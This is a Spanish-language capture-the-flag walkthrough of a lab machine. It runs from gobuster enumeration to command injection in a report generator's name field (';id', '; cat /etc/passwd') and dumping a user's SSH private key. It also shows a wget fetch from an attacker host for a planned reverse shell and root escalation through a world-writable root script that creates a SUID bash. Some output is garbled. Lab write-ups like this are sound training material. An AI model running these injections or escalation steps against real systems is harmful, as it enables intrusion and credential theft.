Desplegamos la máquina.

Le aplicamos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.049 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.049/0.049/0.049/0.0000 ms
```

Con nmap vemos los puertos que están abiertos y además sus servicios.

Con gobuster vemos directorios y archivos que están ocultos.

```
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-x php,html,htm,xml,json,css,md,txt,log,conf,int,js,ts,sh,bak,old,backup,zip,tar,tar.gz,rar,7z,png,jpg,jpeg,gif,svg,webp,woff,woff2,ttf,eot,exe,bin,py,pl,rb,asp,aspx,pcap,pcapng -t 100
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                                            http://172.17.0.2
[+] Method:
                                            GET
[+] Threads:
                                           100
[+] Wordlist:
                                           /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: old,exe,py,pl,php,xml,zip,jpg,ttf,md,gif,woff2,eot,aspx,pcapng,png,jpeg,htm,tar,tar.gz,pcap,ini,sh,backup,webp,rb,ts,css,txt,js,svg,bin,asp,rar,7z,conf,html,json,log,bak
,woff
[+] Timeout:
                                            10s
Starting gobuster in directory enumeration mode
/.php
                                (Status: 403) [Size: 275]
(Status: 403) [Size: 275]
(Status: 403) [Size: 275]
(Status: 200) [Size: 2832]
(Status: 200) [Size: 1090]
(Status: 200) [Size: 33]
(Status: 200) [Size: 2314]
(Status: 200) [Size: 1645]
(Status: 301) [Size: 306] [--> http://172.17.0.2/old/]
(Status: 200) [Size: 2693]
/.htm
/.html
/index.php
/scripts.js
/upload.php
/upload.html
/upload.js
/old
```

Vemos que hay un generador de reportes por lo que vamos a interceptarlo con burpsuite.



Vemos que podemos injectar código directamente con ';' previamente.

```
Content-Length: 31
Origin: http://172.17.0.2
Connection: keep-alive
Referer: http://172.17.0.2/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

nombre=;id fecha=20%2F02%2F2002

nombre=;id fecha=20%2F02%2F2002

recomparison of the properties of the properti
```

Vamos a comprobar que la máquina tenga el binario wget y de ese modo tratar de subir un archivo malicioso .php para poder hacernos una reverse shell.



Nos generamos un archivo que injectemos código con el parámetro cmd.

```
python3 -m http.server 80
File: upload.php

Nombre del Archivo:

number del Archivo:

wget http://10.0.2.65/upload.php
```

Una vez que comprobamos que se ha subido, previamente levantando un servidor python3.

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.17.0.2 - - [19/Jul/2025 15:44:14] "GET /upload.php HTTP/1.1" 200 -
```

Vemos que nos deniega la opción de escribirlo.

```
Archivo de reporte: /var/www/html/reportes/reporte_1752932654.txt
Nombre: \
--2025-07-19 15:44:14-- http://10.0.2.65/upload.php
Connecting to 10.0.2.65:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26 [application/octet-stream]
upload.php.1: Permission denied

Cannot write to 'upload.php.1' (Permission denied).
Fecha: 20/02/2002
```

Pero como podemos ejecutar código, vamos a ver los usuarios que existen.

```
Archivo de reporte: /var/www/html/reportes/reporte_1752932984.txt
Nombre: \
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/usr/sbin/nologin
bin:x:2:2:bin:/bin:/bir/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:ww-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
apt:x:42:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-network:x:998:998:systemd Time Synchronization://usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver://usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver://usr/sbin/nologin
samara:x:100:1001:samara,,,:/home/samara:/bin/bash
```

Nombre del Archivo: ; cat /etc/passwd Dentro del usuario samara podemos ver que tiene una carpeta .ssh.

```
Nombre del Archivo:
; ls -la /home/samara
```

```
Archivo de reporte: /var/www/html/reportes/reporte_1752933046.txt
Nombre: \
total 48
drwxr-xr-x 1 samara samara 4096 Jul 19 15:14 .
drwxr-xr-x 1 root root 4096 Aug 20 2024 ..
-rw------ 1 samara samara 218 Aug 20 2024 .bash_history
-rw-r--r-- 1 samara samara 220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 samara samara 3771 Aug 20 2024 .bashrc
drwx----- 2 samara samara 4096 Aug 20 2024 .cache
drwxrwxr-x 3 samara samara 4096 Aug 20 2024 .local
-rw-r--r-- 1 samara samara 807 Aug 20 2024 .profile
drwxr-xr-x 2 samara samara 4096 Aug 20 2024 .ssh
-rw-r--r-- 1 root root 35 Jul 19 15:50 message.txt
-rw------ 1 samara samara 33 Aug 20 2024 user.txt
```

Comprobamos que tiene un id_rsa por lo que podremos conectarnos mediante ssh una vez lo copiemos en nuestra Kali sin necesidad de contraseña.

```
Nombre del Archivo:

; ls -la /home/samara/.ssh/id_rsa

Archivo de reporte: /var/www/html/reportes/reporte_1752933109.txt

Nombre: \
-rw-r--r-- 1 samara samara 3389 Aug 20 2024 /home/samara/.ssh/id_rsa

Nombre del Archivo:

; cat /home/samara/.ssh/id_rsa
```

```
Archivo de reporte: /var/www/html/reportes/reporte_1752933171.txt
Nombre: \
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAACFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAgEA9HEXYSEOUt5PUH/2fHI/buNxluV3x2qL6wATg0scjIeog9LSmW3k
K3NLw5yDON2vEfZxRSuEkUd743i2AZq/gekNEpvuUTnruRTibz/hZojm8CBpjgXccJW63a
ksBBS/G8iqTa4i9l9GFF0ytuGJ5CmAQy37dgNfsP0150rlN8jg56rtbUyR9kfscYU8R/B0
GDUo60Ek9kzv6QXzkVf/lmnKlV0/4ioJ5iEyL1z91NxBHsOWNQBCjry3kOYDynRD5mKj/g
20Z/TWpTh/QylyKFfDQYPrbjXXWEe8nnzmoDolKtWvez0Sjig7TBV0z2swcvIuWoxwNFVL
0j/FnwkwYihlbLWi9Gu6ZeddY2+5RfZPRSZrd0+y0vUqHtZHBMBM5nMVyHoh78QyW8bA/q
K93VoLNrf8o19YyZoeNqVP03PE/sSE953JahsHr2iPyNb3q/Hgm+1mn5zL8e++oThK/s43
GeaCpew8JbRf1mD6lkfNZEhAQ2TXvtKRwvWmLxSYmExqgzXD7/XP/ZLUKNO+hQByu+l+VG
```

Lo creamos y le damos los permisos adecuados y nos conectamos como el usuario samara.

Una vez dentro vemos vemos el estado de los procesos y vemos un archivo .sh que se ejecuta como root.

```
samara@acc1651b19a7:/$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 3.4 0.0 2800 1836 ? Ss 15:14 1:32 /bin/sh -c service ssh start &&
service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
```

Lo revisamos y vemos que podemos escribir en dicho archivo, por lo que lo modificaremos.

```
samara@acc1651b19a7:/$ ls -la /usr/local/bin/echo.sh
-rwxrw-rw- 1 root root 82 Aug 20 2024 /usr/local/bin/echo.sh
samara@acc1651b19a7:/$ cat /usr/local/bin/echo.sh
#!/bin/bash
echo "No tienes permitido estar aqui :(." > /home/samara/message.txt
```

Vamos a crear una copia de la bash y le vamos a dar permisos SUID de modo que vamos a tener una bash con permisos SUID en el directorio de samara.

```
samara@acc1651b19a7:~$ echo 'cp /bi̇̀n/bash /home/samara/rootbash && chmod 4755 /home/samara/rootbash
 > /usr/local/bin/echo.sh
samara@acc1651b19a7:~$ ls -la
total 1464
drwxr-xr-x 1 samara samara
                             4096 Jul 19 16:03
drwxr-xr-x 1 root root
                             4096 Aug 20
                                          2024
-rw----- 1 samara samara
                              218 Aug 20
                                          2024 .bash_history
-rw-r--r-- 1 samara samara
                              220 Aug 20
                                          2024 .bash_logout
-rw-r--r-- 1 samara samara
                             3771 Aug 20
                                          2024 .bashrc
drwx---- 2 samara samara
                             4096 Aug 20
drwxrwxr-x 3 samara samara
                             4096 Aug 20
                              807 Aug 20
-rw-r--r-- 1 samara samara
                                          2024 .profile
                                          2024 .ssh
drwxr-xr-x 2 samara samara
                             4096 Aug 20
                              35 Jul 19 16:03 message.txt
                         1446024 Jul 19 16:03
-rwsr-xr-x 1 root
                   root
```

Listo ya solo debemos ejecutar la copia de la bash que nos hemos hecho con la flag -p para mantener los permisos de root.

```
samara@acc1651b19a7:~$ ./rootbash -p
rootbash-5.2# id
uid=1001(samara) gid=1001(samara) euid=0(root) groups=1001(samara),100(users)
rootbash-5.2# cd /root
rootbash-5.2# ls -la
total 28
drwx----- 1 root root 4096 Aug 20
                                   2024
drwxr-xr-x 1 root root 4096 Jul 19 15:14
-rw-r--r-- 1 root root 3106 Apr 22
                                   2024 .bashrc
drwxr-xr-x 3 root root 4096 Aug 20
                                  2024 .local
-rw-r--r-- 1 root root 161 Apr 22
                                  2024 .profile
drwx----- 2 root root 4096 Aug 20
                                  2024 .ssh
-rw-r--r-- 1 root root
                         33 Aug 20 2024 root.txt
rootbash-5.2# cat root.txt
640c89bbfa2f70a4038fd570c65d6dcc
```